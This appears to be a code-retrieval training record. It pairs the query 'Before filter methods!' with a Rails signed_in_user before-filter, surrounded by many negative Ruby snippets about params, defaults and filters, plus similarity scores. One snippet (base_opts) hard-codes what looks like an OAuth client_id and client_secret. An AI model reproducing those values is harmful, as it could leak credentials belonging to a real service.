i.e. position\n mKhaziAddBaseParams(retParams, inParams)\n\n # Merge the input parameters so that they overwrite those we've calculated\n retParams.merge!(inParams)\n\n retParams\n end", "def set_defaults\n super\n self.distance_from_intersection ||= 0\n self.lateral_offset ||= 0\n end", "def to_options\n { :queue_name => queue_name, :h_or_s => h_or_s }.merge(center.to_options)\n end", "def geometry_params\n params.require(:geometry).permit(:room_id, :geometry)\n end", "def static_params\n {\n work_room: 'Lab Equipment Room 380B',\n dark_light_options: [\"dark\", \"light\"],\n marker_type_options: [\"GFP\", \"RFP\"], #add more as they become supported\n max_col: 5, # should be a number. This will determine the max number of fluorescent that will be circled\n }\n end", "def params\n default_options.merge(@params)\n end", "def quadra_params\n params.require(:quadra).permit(:descricao, :geom)\n end", "def set_default_options(iParameters)\n @DefaultOptions.merge!(iParameters)\n end", "def set_default_params params\n set_default_params_status(params)\n set_default_params_type(params)\n set_default_params_content(params)\n return params\n end", "def params\n {}\n .merge!(base_params)\n .merge!(tracker_default_params)\n .merge!(global_options_params)\n .merge!(hit_params)\n .merge!(custom_dimensions)\n .merge!(custom_metrics)\n .merge!(measurement_params)\n .reject {|_,v| v.nil?}\n end", "def default_operation_params\n {\n group_size: 24,\n program_name: 'CDC_TaqPath_CG',\n layout_method: 'cdc_primer_layout'\n }\n end", "def default_operation_params\n {\n pooling_method: 'Standard',\n sample_rack: { dimensions: [1,10], name: 'Specimen Rack'},\n transfer_volume: { qty: 5, units: MICROLITERS },\n plate_location: 'M20'\n }\n end", "def params\n base_params.\n merge(tracker_default_params).\n merge(global_options_params).\n merge(hit_params).\n merge(custom_dimensions).\n merge(custom_metrics).\n merge(custom_params).\n reject {|_,v| v.nil?}\n end", "def default_solr_parameters(solr_parameters, user_params)\n blacklight_config.default_solr_params.each do |key, value|\n solr_parameters[key] = value.dup rescue value\n end\n end", "def room_config_params\n params.require(:room_config).permit(:name, :room_type, :min_players, :max_players, :timeout, :num_bingo_factor, :divider)\n end", "def sys_config_params\n params.require(:sys_config).permit(:positions_hm_range_1, :positions_hm_range_2, :positions_hm_range_3, :positions_hm_range_4,\n :speed_hm_diff_range_1, :speed_hm_diff_range_2, :speed_hm_diff_range_3, :speed_hm_diff_range_4,\n :speed_hm_query_range_1, :speed_hm_query_range_2, :speed_hm_query_range_3, :speed_hm_query_range_4,\n :bounding_box_gap, :search_radius)\n end", "def default_solr_parameters(solr_parameters, user_params)\n if Blacklight.config[:default_solr_params]\n Blacklight.config[:default_solr_params].each_pair do |key, value|\n solr_parameters[key] = value.dup rescue value\n end\n end\n end", "def add_segment_parameters( params )\n return unless builder\n params.each { |k,v| builder.current_segment[k] = v }\n end", "def options\n @options ||= { include: %i[job_postings] }\n end", "def configure(options={})\n @parameters = default_parameters.merge options\n end", "def gateway_options\n process_keys\n options = base_options\n\n config.proxy_port.nil? or options.merge!(:port => config.proxy_port)\n config.proxy_password.nil? or options.merge!(:password => config.proxy_password)\n config.proxy_keys.nil? or options.merge!(:keys => config.proxy_keys)\n\n config.ui.logger.debug { \"gateway_options(#{options.inspect})\" }\n options\n end", "def start_with_default_params!\n default_params = upper(:@@default_params) || {}\n @params.reverse_merge!(default_params)\n end", "def set_defaults\n self.width ||= 0.20\n self.height ||= 0.20\n end", "def default_options\n HashWithIndifferentAccess.new({\n :sunspot_index_queue_name => \"sunspot_index_queue\",\n :user => \"guest\",\n :pass => \"guest\",\n :host => \"localhost\",\n :port => \"5672\",\n :vhost => \"/\",\n :max_attempts_count => 5,\n :retry_interval => 300,\n :index_delay => 0\n })\n end", "def default_options\n sync{ @opts || {} }\n end", "def default_adapter_options=(_arg0); end", "def default_adapter_options=(_arg0); end", "def quadrant_params\n params.require(:quadrant).permit(:bracket_id, :name, :order)\n end", "def default_params\n {\n api_key: @api_key,\n api_secret: @api_secret,\n format: @response_format\n }\n end", "def default_params(default_params=nil)\n default_params and @default_params = default_params or @default_params or {}\n end", "def default_params\n @default_params ||= {}\n end", "def default_options=(opts); end", "def params\n {\n \"add-header\" => nil,\n \"burst-length\" => nil,\n \"client\" => nil,\n \"close-with-reset\" => nil,\n \"debug\" => nil,\n \"failure-status\" => nil,\n \"hog\" => nil,\n \"http-version\" => nil,\n \"max-connections\" => nil,\n \"max-piped-calls\" => nil,\n \"method\" => nil,\n \"no-host-hdr\" => nil,\n \"num-calls\" => nil,\n \"num-conns\" => nil,\n \"period\" => nil,\n \"port\" => nil,\n \"print-reply\" => nil,\n \"print-request\" => nil,\n \"rate\" => nil,\n \"recv-buffer\" => nil,\n \"retry-on-failure\" => nil,\n \"send-buffer\" => nil,\n \"server\" => nil,\n \"server-name\" => nil,\n \"session-cookies\" => nil,\n \"ssl\" => nil,\n \"ssl-ciphers\" => nil,\n \"ssl-no-reuse\" => nil,\n \"think-timeout\" => nil,\n \"timeout\" => nil,\n \"uri\" => nil,\n \"verbose\" => nil,\n \"version\" => nil,\n \"wlog\" => nil,\n \"wsess\" => nil,\n \"wsesslog\" => nil,\n \"wset\" => nil\n }\n end", "def params\n '(' + (self.min.nil? ? '~' : '%g' % self.min) + ',' + (self.max.nil? ? '~' : '%g' % self.max) + ')'\n end", "def params\n '(' + (self.min.nil? ? '~' : '%g' % self.min) + ',' + (self.max.nil? ? '~' : '%g' % self.max) + ')'\n end", "def default_options=( opts )\n sync{ @opts = opts.nil? ? nil : opts.dup }\n end", "def defaults\n {\n base_path: base_path,\n colour_mode: detect_colour_mode,\n compression: true,\n debug: false,\n drb: false,\n drb_host: nil,\n drb_port: nil,\n drb_height: 25,\n drb_width: 80,\n interactive: true,\n log: nil,\n log_only: [],\n once: false,\n renderers: [Vedeu::Renderers::Terminal.new],\n root: nil,\n stdin: nil,\n stdout: nil,\n stderr: nil,\n terminal_mode: :raw,\n }\n end", "def default_job_params\n {\n thermocycler_model: TestThermocycler::MODEL,\n program_name: 'CDC_TaqPath_CG',\n qpcr: true\n }\n end", "def to_grpc_params\n {\n pool_size: rpc_pool_size,\n max_waiting_requests: rpc_max_waiting_requests,\n poll_period: rpc_poll_period,\n pool_keep_alive: rpc_pool_keep_alive,\n tls_credentials: tls_credentials,\n server_args: enhance_grpc_server_args(normalized_grpc_server_args)\n }\n end", "def set_options\n options = if params[:account]\n {:account => Sfaccount.find(params[:account]).synced_record}\n elsif params[:support_case]\n {:support_case => Sfcase.find(params[:support_case]).synced_record}\n end\n end", "def default_options\n { throttle: 'throttle' }\n end", "def base_params\n {\n v: PROTOCOL_VERSION,\n # Client ID\n cid: @user_id,\n # Tracking ID\n tid: TRACKING_ID,\n # Application Name\n an: APPLICATION_NAME,\n # Application Version\n av: Bolt::VERSION,\n # Anonymize IPs\n aip: true,\n # User locale\n ul: Locale.current.to_rfc,\n # Custom Dimension 1 (Operating System)\n cd1: @os\n }\n end", "def parameters\n default_parameters.merge @parameters\n end", "def default_job_params\n {\n rna_extraction_kit: QIAampDSPViralRNAMiniKit::NAME\n }\n end", "def default(value = nil)\r\n self.default_params = default_params.merge(value).freeze if value\r\n default_params\r\n end", "def default_grid_rest_parameters(params, request_types = :global)\n set_namespaced_default_grid_rest_parameters(:default, params, request_types)\n end", "def set_params ( coc )\n @coc = coc\n super( F_STOPS.keys, SMALL, {}, NO_LABEL )\n @scale /= 2\n end", "def set_async_defaults\n @async_transport_options ||= {}\n defaults = {\n queue: \"magic_pipe\"\n }\n @async_transport_options = defaults.merge(@async_transport_options)\n end", "def set_options\n options[:header] = @header unless @header.nil?\n options[:body] = @body unless @body.nil?\n options[:query] = @query unless @query.nil?\n end", "def default_options\n {\n acceleration: true,\n auto_row_sep_chars: 500,\n chunk_size: nil,\n col_sep: :auto, # was: ',',\n comment_regexp: nil, # was: /\\A#/,\n convert_values_to_numeric: true,\n downcase_header: true,\n duplicate_header_suffix: nil,\n file_encoding: 'utf-8',\n force_simple_split: false,\n force_utf8: false,\n headers_in_file: true,\n invalid_byte_sequence: '',\n keep_original_headers: false,\n key_mapping: nil,\n quote_char: '\"',\n remove_empty_hashes: true,\n remove_empty_values: true,\n remove_unmapped_keys: false,\n remove_values_matching: nil,\n remove_zero_values: false,\n required_headers: nil,\n required_keys: nil,\n row_sep: :auto, # was: $/,\n silence_missing_keys: false,\n skip_lines: nil,\n strings_as_keys: false,\n strip_chars_from_headers: nil,\n strip_whitespace: true,\n user_provided_headers: nil,\n value_converters: nil,\n verbose: false,\n with_line_numbers: false,\n }\n end", "def url_for_options_paramdef_hash\n {\n :anchor => nil,\n :escape => nil,\n :host => nil,\n :only_path => nil,\n :password => nil,\n :port => nil,\n :protocol => nil,\n :skip_relative_url_root => nil,\n :trailing_slash => nil,\n :user => nil,\n\n :enable_optional_keys => true\n }.merge(routes_generate_options)\n end", "def default_operation_params\n {\n tr_96_384_program: '96_to_384_sample',\n tr_96_384_robot: Biomek::MODEL\n }\n end", "def ocr_search_params(solr_parameters = {})\n solr_parameters[:facet] = false\n solr_parameters[:hl] = true\n solr_parameters[:'hl.fl'] = blacklight_config.ocr_search_field\n solr_parameters[:'hl.fragsize'] = 135\n solr_parameters[:'hl.snippets'] = 10\n end", "def update!(**args)\n @bounding_marker = args[:bounding_marker] if args.key?(:bounding_marker)\n @connection_token = args[:connection_token] if args.key?(:connection_token)\n @curve = args[:curve] if args.key?(:curve)\n @flow = args[:flow] if args.key?(:flow)\n @lane_number = args[:lane_number] if args.key?(:lane_number)\n @primary_connection = args[:primary_connection] if args.key?(:primary_connection)\n @segment = args[:segment] if args.key?(:segment)\n @yield_to_other_connections = args[:yield_to_other_connections] if args.key?(:yield_to_other_connections)\n end", "def fill_quad(x1:, y1:, x2:, y2:, x3:, y3:, x4:, y4:, color: nil, colour: nil)\n fill_polygon coordinates: [x1, y1, x2, y2, x3, y3, x4, y4], color: color || colour\n end", "def params\n default_params.merge @params\n end", "def set_default_params(params)\n\t\t\tparams[:authorization_token] = @token\n\t\t\tparams[:account] = params[:account] || @account\n\t\t\t\n\t\t\tif params[:site] == \"ignore\"\n\t\t\t\tparams.delete(:site)\n\t\t\telse\n\t\t\t\tparams[:site] = params[:site] || @site\n\t\t\tend\n\t\t\t\n\t\t\tif params[:user] == \"account\" #special case for the servlet calls. The user parameter is the the account name\n\t\t\t\tparams[:user] = @account\n\t\t\tend\n\t\t\t\n\t\t\tparams\n\t\tend", "def set_default_options()\n @options = OpenStruct.new(\n :output_base => nil,\n :verbose => false,\n :config_file => nil,\n :samples => nil,\n :delay => 30,\n :scheduler_opts => ''\n )\nend", "def default_request_options\n {'ha_version' => ha_version, 'ha_format' => ha_format, 'ha_fancylayout' => ha_fancylayout} #, 'strict_oauth_spec_response' => true\n end", "def defaults\n {\n client: nil,\n colour: nil,\n parent: nil,\n style: nil,\n value: [],\n }\n end", "def defaults\n {\n client: nil,\n colour: nil,\n parent: nil,\n style: nil,\n value: [],\n }\n end", "def default_opts\n { :default => default }.merge( opts )\n end", "def update!(**args)\n @defines_geometry_for = args[:defines_geometry_for] if args.key?(:defines_geometry_for)\n @geometry_composition = args[:geometry_composition] if args.key?(:geometry_composition)\n end", "def default(value = nil)\n self.default_params = default_params.merge(value).freeze if value\n default_params\n end", "def set_defaults(options = T.unsafe(nil)); end", "def options\n base.merge(routing_key: routing_key)\n end", "def set(options)\n unless options.empty?\n set_font options.fetch(:font, @font)\n set_string options.fetch(:string, @string)\n self.angle = options.fetch(:angle, @angle)\n set_outline options.fetch(:outline, @outline)\n set_line_height options.fetch(:line_height, @line_height)\n set_align options.fetch(:align, @align)\n self.shader = options.fetch(:shader, @shader)\n self.origin = options.fetch(:origin, @origin)\n set_color options.fetch(:color, @color)\n set_outline_color options.fetch(:outline_color, @outline_color)\n end\n generate_buffers\n self\n end", "def default_options\n { \"token_credential_uri\" => self.class::TOKEN_CREDENTIAL_URI,\n \"audience\" => self.class::AUDIENCE,\n \"scope\" => self.class::SCOPE }\n end", "def default_job_params\n {\n }\n end", "def default_job_params\n {\n }\n end", "def mDoorParams(inParams = {})\n\n retParams = @m_doorDefaults.dup\n\n retParams[:mesh_name] = case inParams[:colour]\n when /(red|blue)/ then \"door-#$1\"\n when nil then \"door\"\n else raise \"Unknown door colour #{inParams[:colour]}\"\n end\n\n retParams[:type] = mType(inParams)\n retParams[:target_types] = mTargetTypes(inParams)\n retParams[:remnant] = :player_nuclear\n retParams[:scanner_symbol] = mScannerSymbol(retParams.merge(inParams))\n mKhaziAddBaseParams(retParams, inParams)\n retParams.merge!(inParams)\n retParams\n end", "def default_options\n {\n appid: app_id,\n device_id: device_id,\n locale: locale,\n ip: ip,\n offer_types: offer_types,\n timestamp: Time.now.to_i\n }\n end", "def update!(**args)\n @excludes_geometry_of = args[:excludes_geometry_of] if args.key?(:excludes_geometry_of)\n @includes_geometry_of = args[:includes_geometry_of] if args.key?(:includes_geometry_of)\n end", "def default_options\n { \n :x => 20,\n :y => 20,\n :gauge_color => \"ff0000\",\n :legend_color => \"cc0000\",\n }\n end", "def base_opts\n {\n client_id: '277ef29692f9a70d511415dc60592daf4cf2c6f6552d3e1b769924b2f2e2e6fe',\n client_secret: 'd6106f26e8ff5b749a606a1fba557f44eb3dca8f48596847770beb9b643ea352'\n }\n end", "def merge_defaults(options = {})\n defaults = {}\n # defaults[:character_name] = @charater_name if @charater_name\n defaults[:region] = @region if @region\n defaults[:caching] = @caching if @caching\n defaults[:cache_timeout] = @cache_timeout if @cache_timeout\n defaults[:debug] = @debug if @debug\n\n # overwrite defaults with any given options\n defaults.merge!(options)\n end", "def build_request_options!(datum)\n datadog_configuration(datum[:host]).options_hash.merge(@default_options)\n end", "def default_params\n {\n \"pio_appkey\" => @app_key\n }\n end", "def default_solr_parameters(solr_parameters)\n blacklight_config.default_solr_params.each do |key, value|\n solr_parameters[key] ||= if value.respond_to? :deep_dup\n value.deep_dup\n elsif value.respond_to?(:dup) && value.duplicable?\n value.dup\n else\n value\n end\n end\n end", "def room_params\n params.require(:room).permit(:user_id, :name, :setting, :time_limit, :completed_message, :attempts, :attempts_allowed, :times_completed, :obj_room, :obj_exit, :lock)\n end", "def bones_segment_params\n params.require(:bones_segment).permit(:name, :company_id, :description)\n end", "def ensure_params_have_values\n @attributes[:lat] = 33.1243208 unless @attributes[:lat].present? \n @attributes[:lon] = -117.32582479999996 unless @attributes[:lon].present? \n @attributes[:radius].present? ? @_search_radius = @attributes[:radius] : self.set_radius\n end", "def set_default_options(options = T.unsafe(nil)); end", "def query_options\n # todo: support more options?\n options = {}\n options.merge!({:limit => limit_value.to_json}) if limit_value\n options.merge!({:skip => @options[:skip].to_json}) if @options[:skip]\n options.merge!({:reversed => reversed?.to_json}) if reversed?\n options.merge!({:order => @options[:order]}) if @options[:order]\n options.merge!({:cursor => @options[:cursor]}) if @options[:cursor]\n options\n end", "def set_default_options\n end", "def defaults\n {\n back: nil,\n front: nil,\n name: '',\n previous: nil,\n repository: Vedeu.buffers,\n }\n end", "def use_graphic_settings(override_settings = false)\n set_fill_color if current_fill_color != '000000' || override_settings\n set_stroke_color if current_stroke_color != '000000' || override_settings\n write_line_width if line_width != 1 || override_settings\n write_stroke_cap_style if cap_style != :butt || override_settings\n write_stroke_join_style if join_style != :miter || override_settings\n write_stroke_dash if dashed? || override_settings\n end", "def mesh_params\n params.require(:mesh).permit(:origin, :destination, :map_name, :distance)\n end", "def set_default_values\n self.points_log ||= POINTS_LOG\n self.points_log_first_of_day ||= POINTS_LOG_FIRST_OF_DAY\n self.points_peer_assessment ||= POINTS_PEER_ASSESSMENT\n self.points_peer_assessment_first_of_team ||= POINTS_PEER_ASSESSMENT_FIRST_OF_TEAM\n self.points_project_evaluation ||= POINTS_PROJECT_EVALUATION\n self.points_project_evaluation_first_of_team ||= POINTS_PROJECT_EVALUATION_FIRST_OF_TEAM\n self.max_logs_per_day ||= MAX_LOGS_PER_DAY\n self.points_project_evaluation_submitted_first_day ||= POINTS_PROJECT_EVALUATION_SUBMITTED_FIRST_DAY\n self.points_peer_assessment_submitted_first_day ||= POINTS_PEER_ASSESSMENT_SUBMITTED_FIRST_DAY\n self.marking_algorithm_id ||= MARKING_ALGORITHM_ID\n end", "def compat_parameters_default_chunk_key\n \"\"\n end", "def params_options(_method, params)\n return {} if params.empty?\n\n { query: params }\n end", "def default_job_options\n @default_job_options ||= if Sidekiq.respond_to?(:default_job_options)\n Sidekiq.default_job_options.stringify_keys\n else\n Sidekiq.default_worker_options.stringify_keys\n end\n end", "def set_queue_options(options = {})\n @queue_options = options\n end", "def options\n {\n version: @version,\n delim: @delim,\n randomized: @flags[0],\n ordered: @flags[1],\n rotated: @flags[2],\n comments: @flags[3]\n }\n end", "def use_hidden_geometry=(setting)\n end", "def set_default_pdf_options\n @proposal_options = {}\n\n if params[:format] == 'pdf' && @proposal.present? && @proposal.organization.proposal_options.present?\n begin\n JSON.parse(@proposal.organization.proposal_options).each do |k, v|\n @proposal_options[k.to_sym] = params.has_key?(k) ? parse_param_val(params[k], v.class) : v\n end\n rescue => e\n logger.error e.message\n logger.error e.backtrace\n end\n end\n end", "def base_params\n @base_params ||= {\n :worker_name => @name, \n :worker_actions => @enabled_actions.join(',')\n }\n end", "def initialize(options = {})\n options.default! :var => 'polygon', \n :vertices => [],\n :editable => false,\n :border_colour => '#00F',\n :border_thickness => 2,\n :border_opacity => 0.5,\n :fill_colour => '#66F',\n :fill_opacity => 0.5,\n # Encode options\n :encoded => nil, \n :fill => true,\n :outline => true\n\n super\n\n if create_var?\n self.encoded = options.extract(:encoded)\n\n if self.encoded?\n self.encoded = self.encoded.arify\n else\n self.vertices = options.extract(:vertices).arify.collect do |vertex|\n Google::OptionsHelper.to_location(vertex)\n end\n end\n \n editable = options.extract(:editable)\n \n border_colour = options.extract(:border_colour) \n border_thickness = options.extract(:border_thickness) \n border_opacity = options.extract(:border_opacity)\n\n fill_colour = options.extract(:fill_colour)\n fill_opacity = options.extract(:fill_opacity)\n \n fill = options.extract(:fill)\n outline = options.extract(:outline)\n \n tooltip_options = options.extract(:tooltip)\n \n remaining_options = options\n \n if self.encoded?\n encode_options = {:polylines => Google::OptionsHelper.to_encoded_polylines(:lines => self.encoded,\n :color => border_colour,\n :opacity => border_opacity,\n :weight => border_thickness),\n :color => fill_colour, :opacity => fill_opacity,\n :fill => fill, :outline => outline}\n\n self << \"#{self.var} = new GPolygon.fromEncoded(#{encode_options.to_google_options(:dont_convert => [:polylines])});\"\n else\n self << \"#{self.var} = new GPolygon([#{self.vertices.join(', ')}], #{border_colour.to_js}, #{border_thickness.to_js}, #{border_opacity.to_js}, #{fill_colour.to_js}, #{fill_opacity.to_js}, #{remaining_options.to_google_options});\"\n end\n\n self.enable_editing! if editable\n self.set_tooltip(tooltip_options) if tooltip_options\n end\n end" ]
[ "0.515572", "0.48531833", "0.462743", "0.46258438", "0.46078947", "0.46067494", "0.4606167", "0.45960718", "0.4581581", "0.45774236", "0.45643172", "0.45610422", "0.4552181", "0.45072454", "0.4498685", "0.4478453", "0.4476902", "0.4475943", "0.4466533", "0.44483262", "0.44471332", "0.44278353", "0.44197485", "0.44099092", "0.44079125", "0.44019085", "0.44004354", "0.4382585", "0.4382585", "0.43696192", "0.43574375", "0.43522993", "0.43468776", "0.434343", "0.43431652", "0.4339643", "0.4339643", "0.433314", "0.43239087", "0.43170747", "0.43060526", "0.4306035", "0.43019176", "0.43006918", "0.42745757", "0.4273833", "0.42692524", "0.42525545", "0.42516667", "0.42509156", "0.4246973", "0.42423218", "0.4241288", "0.42350096", "0.42298988", "0.422555", "0.42248693", "0.4221851", "0.42159727", "0.42152667", "0.42084318", "0.4199797", "0.4199797", "0.41943935", "0.418854", "0.418782", "0.4186783", "0.41699344", "0.41690812", "0.41669747", "0.4163057", "0.4163057", "0.41630518", "0.41612497", "0.41530094", "0.41523972", "0.41519287", "0.41436216", "0.414053", "0.4136895", "0.41358957", "0.41358235", "0.4134414", "0.41271713", "0.4126927", "0.4126109", "0.41253644", "0.4124489", "0.41179922", "0.41174057", "0.4109995", "0.41043836", "0.4103572", "0.41030595", "0.41007143", "0.40995646", "0.40995082", "0.4098887", "0.40985194", "0.4089716" ]
0.5105479
1
Before filter methods! Wahooooooooo
def signed_in_user unless signed_in? store_location redirect_to signin_url, notice: "Please sign in." end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def filter; end", "def filter; end", "def filter; end", "def apply_filter\n end", "def filters; end", "def filters; end", "def filter\n end", "def filter!; end", "def global_filter; end", "def filters\n end", "def filter\n super\n end", "def filters=(_arg0); end", "def filters=(_arg0); end", "def add_filter\n @filter = true \n end", "def strict_filters; end", "def filter\n\tfilter_disabled\n\tfilter_repeated\n\tfilter_silenced\n\tfilter_dependencies\n end", "def after_filter; end", "def Filter=(arg0)", "def filter_parameters; end", "def filter_parameters; end", "def register_filter(mod); end", "def before filter\n @station.before filter\n end", "def before_filter; end", "def strict_filters=(_arg0); end", "def named_filter; end", "def filter_argument; end", "def filter_methods; end", "def global_filter=(_arg0); end", "def before_filter(&block)\n @before_filter = block\n end", "def add_filters(filters); end", "def filter_cache; end", "def filter_generator; end", "def entry_filter; end", "def before(&b)\n filter :before, &b\n end", "def before_filter(&block)\n @before_filter = block\n end", "def filters_halted\n end", "def before_filter_if_not_already_added(method)\n unless filter_already_added? method\n before_filter method\n end\n end", "def autofilter\n true\n end", "def before(*args, &block)\n add_filter :before, &(args.empty? ? block : construct_filter(*args, &block))\n end", "def process_before_filter name\n filter = find_method name, @current_class\n\n if filter.nil?\n Brakeman.debug \"[Notice] Could not find filter #{name}\"\n return\n end\n\n method = filter[:method]\n\n if ivars = @tracker.filter_cache[[filter[:controller], name]]\n ivars.each do |variable, value|\n env[variable] = value\n end\n else\n processor = Brakeman::AliasProcessor.new @tracker\n processor.process_safely(method.body_list, only_ivars(:include_request_vars))\n\n ivars = processor.only_ivars(:include_request_vars).all\n\n @tracker.filter_cache[[filter[:controller], name]] = ivars\n\n ivars.each do |variable, value|\n env[variable] = value\n end\n end\n end", "def autofilter\r\n\t\tfalse\r\n\tend", "def autofilter\r\n\t\tfalse\r\n\tend", "def autofilter\r\n\t\tfalse\r\n\tend", "def autofilter\r\n\t\tfalse\r\n\tend", "def filter_parameters=(_arg0); end", "def filter_parameters=(_arg0); end", "def test_add_filter\n flunk\n end", "def reset_filter!\n skip_before_action(:filter_access_filter) if method_defined?(:filter_access_filter)\n before_action :filter_access_filter\n end", "def filter\n @filter\n end", "def filterable?; @filterable; end", "def before method_or_filter, options={}, &block\n _add_filter(:before, method_or_filter, options, block)\n end", "def unfiltered_content; end", "def unfiltered_content; end", "def unfiltered_content; end", "def halted_callback_hook(filter, _); end", "def filtered_entries; end", "def bench_filters\n skip 'TODO'\n end", "def ts_apply_filters\n # TODO: Make filters for Thinking Sphinx\n end", "def before_filter_list method, klass\n controller = @tracker.controllers[klass]\n filters = []\n\n while controller\n filters = get_before_filters(method, controller) + filters\n\n controller = @tracker.controllers[controller[:parent]] ||\n @tracker.libs[controller[:parent]]\n end\n\n remove_skipped_filters filters, method, klass\n end", "def filter\n\t\treturn @filter\n\tend", "def before_processing\n end", "def filter_redirect; end", "def filter_redirect; end", "def filtered_parameters; end", "def data_context_filter_1\r\n\r\n ckie = (RUBY_VERSION =~ /^1.8/) ? Iconv.new('UTF-8//IGNORE', 'latin1').iconv(cookies[:active_filters] || \"\") : (cookies[:active_filters] || \"\").force_encoding(Encoding::ISO_8859_1).encode!(Encoding::UTF_8)\r\n if !ckie.blank?\r\n find_hash = DevFeedback.named_scope_active_filter_method(ActiveSupport::JSON.decode(ckie))\r\n conds = find_hash[:conditions]\r\n @joins_fields = find_hash[:joins]\r\n\r\n DevFeedback.send(:with_scope, {:find => {:conditions => conds, :joins => (@joins_fields || [])}}) {\r\n yield\r\n }\r\n\r\n else\r\n yield\r\n end\r\n end", "def filters\n @filters ||= {}\n end", "def filter1(string)\n\nend", "def data_context_filter_1\r\n\r\n ckie = (RUBY_VERSION =~ /^1.8/) ? Iconv.new('UTF-8//IGNORE', 'latin1').iconv(cookies[:active_filters] || \"\") : (cookies[:active_filters] || \"\").force_encoding(Encoding::ISO_8859_1).encode!(Encoding::UTF_8)\r\n if !ckie.blank?\r\n find_hash = BgWorker.named_scope_active_filter_method(ActiveSupport::JSON.decode(ckie))\r\n conds = find_hash[:conditions]\r\n @joins_fields = find_hash[:joins]\r\n\r\n BgWorker.send(:with_scope, {:find => {:conditions => conds, :joins => (@joins_fields || [])}}) {\r\n yield\r\n }\r\n\r\n else\r\n yield\r\n end\r\n end", "def filter(record)\n true\n end", "def filter(options={})\n super\n end", "def filter_redirect=(_arg0); end", "def filter_redirect=(_arg0); end", "def data_context_filter_1\r\n\r\n ckie = (RUBY_VERSION =~ /^1.8/) ? Iconv.new('UTF-8//IGNORE', 'latin1').iconv(cookies[:active_filters] || \"\") : (cookies[:active_filters] || \"\").force_encoding(Encoding::ISO_8859_1).encode!(Encoding::UTF_8)\r\n if !ckie.blank?\r\n find_hash = User.named_scope_active_filter_method(ActiveSupport::JSON.decode(ckie))\r\n conds = find_hash[:conditions]\r\n @joins_fields = find_hash[:joins]\r\n\r\n User.send(:with_scope, {:find => {:conditions => conds, :joins => (@joins_fields || [])}}) {\r\n yield\r\n }\r\n\r\n else\r\n yield\r\n end\r\n end", "def filter2(string)\n\nend", "def filter(&block)\n filters = self.filters << yield\n metaclass.send(:define_method, :_filters) do\n filters\n end\n end", "def global_filter(&block)\n @filters[nil] = block\n end", "def before; end", "def ensure_filters\n # private_methods returns the list of private methods accessible to obj. If the all parameter is set to\n # false, only those methods in the receiver will be listed.\n private_methods(false).grep(/\\Afilter_by_/)&.each { |filter| send(filter) }\n end", "def filter_items\n @filter_items ||= []\n end", "def add_filter(filter_argument = T.unsafe(nil), &filter_proc); end", "def pre_filter\n @records = records\n .select {|event| event[:lang] != \"en\" }\n .select {|event| event[:reply_to].nil? }\n .select {|event| event[:text] =~ /^[0-9]{4}/ }\n end", "def filter(*args); Typelib.filter_function_args(args, self) end", "def filter(*args)\n raise NotImplementedError, 'Subclass should implement.'\n end", "def filter_rspamd\n end", "def before_filter(filter_name, options)\n [options[:only]].flatten.each do |action|\n add_filter(filter_name, action)\n end\n end", "def initialize(&block)\n @filter = (block || method(:filter))\n super()\n end", "def filters\n @filters ||= {}\n end", "def filters\n @filters ||= {}\n end", "def before() ; end", "def whitelist; end", "def allowed_filters\n []\n end", "def html_clean_filters( src_key, tree_key = nil )\n\n tree_key = \"#{src_key}_tree\".to_sym unless tree_key\n src_key, tree_key = src_key.to_k, tree_key.to_k\n\n filters = []\n filters << html_parse_filter( src_key, tree_key )\n\n #FIXME: PAGE: filters << TitleExtractor.new, or after?\n\n # FIXME: if src is text, last filter\n # filters << TextCtrlWSFilter.new( ContentKeys::TITLE )\n\n tfc = TreeFilterChain.new( html_tree_filters )\n\n filters << HTMLTreeFilter.new( tree_key, tfc,\n HTMLTreeFilter::Order::DEPTH_FIRST )\n\n #FIXME: First block extractor back to text key?\n\n filters\n end", "def initialize\n @filters = []\n end", "def filter(event)\n\n #Category\n category = event.get(\"category\")\n if category.nil?\n category = \"\"\n end\n\n new_category = fn_make_cate_all(category, 0) \n event.set(\"category\", new_category)\n\n service_gubun = event.get(\"service_gubun\")\n\n new_cat1 = fn_make_cate_all(category, 2) \n event.set(\"cat1\", new_cat1)\n \n new_cat2 = fn_make_cate_all(category, 4) \n event.set(\"cat2\", new_cat2)\n \n new_cat3 = fn_make_cate_all(category, 6) \n event.set(\"cat3\", new_cat3)\n \n new_cat4 = fn_make_cate_all(category, 8) \n event.set(\"cat4\", new_cat4)\n\n new_cg = \"\"\n if service_gubun == \"1\"\n new_cg = new_cat2 \n else\n new_cg = new_cat1 \n end \n event.set(\"cg\", new_cg)\n\n #Model Factory\n #deplecated : ES에서 Model-Factory 전용 Tokenizer 사용\n=begin\n if service_gubun == \"1\"\n modelnm = event.get(\"modelnm\")\n factory = event.get(\"factory\")\n if modelnm.nil?\n modelnm = \"\"\n end\n if factory.nil?\n factory = \"\"\n end\n\n model_factory = factory_all(modelnm+\" \"+factory)\n event.set(\"model_factory\", model_factory)\n end\n=end\n \n return [event]\n\nend", "def filter_pipeline\n @filter_pipeline ||= HTML::Pipeline.new([TypogrubyFilter])\n end", "def filtered(files); end", "def filter_already_added?(filter)\n return self.filter_chain.collect(&:method).include?(filter)\n end", "def preserve_default_filters!\n\n config.preserve_default_filters!\n\n end", "def filter(objects) objects end", "def filter_response(response, request)\n # nothing to do\n end", "def register_filter(mod)\n Strainer.global_filter(mod)\n end" ]
[ "0.8104498", "0.8104498", "0.8104498", "0.80617756", "0.79952645", "0.79952645", "0.7917188", "0.78179413", "0.7641611", "0.7589369", "0.74890023", "0.7323565", "0.7323565", "0.73092407", "0.7305704", "0.7288359", "0.72125375", "0.7141407", "0.7139506", "0.7139506", "0.7098335", "0.70732296", "0.70504755", "0.7020289", "0.6978408", "0.69717133", "0.6964995", "0.68995285", "0.68980956", "0.6893048", "0.6890706", "0.6832889", "0.6802817", "0.6792641", "0.67880183", "0.67386067", "0.67036045", "0.6697812", "0.6664491", "0.66640043", "0.6662279", "0.6662279", "0.6662279", "0.6662279", "0.661194", "0.661194", "0.6604535", "0.65690184", "0.655266", "0.65449303", "0.65410614", "0.65278697", "0.65278697", "0.65278697", "0.64876485", "0.6453944", "0.64500815", "0.64448535", "0.641694", "0.64073205", "0.6387095", "0.6372087", "0.6372087", "0.63572085", "0.63454705", "0.6343783", "0.6313076", "0.6305102", "0.6298136", "0.6285091", "0.62825894", "0.62825894", "0.62612796", "0.62570196", "0.61655754", "0.61651784", "0.6163922", "0.6158628", "0.615168", "0.61506796", "0.6114109", "0.6107282", "0.6091207", "0.6090463", "0.6074123", "0.6059645", "0.6059218", "0.6059218", 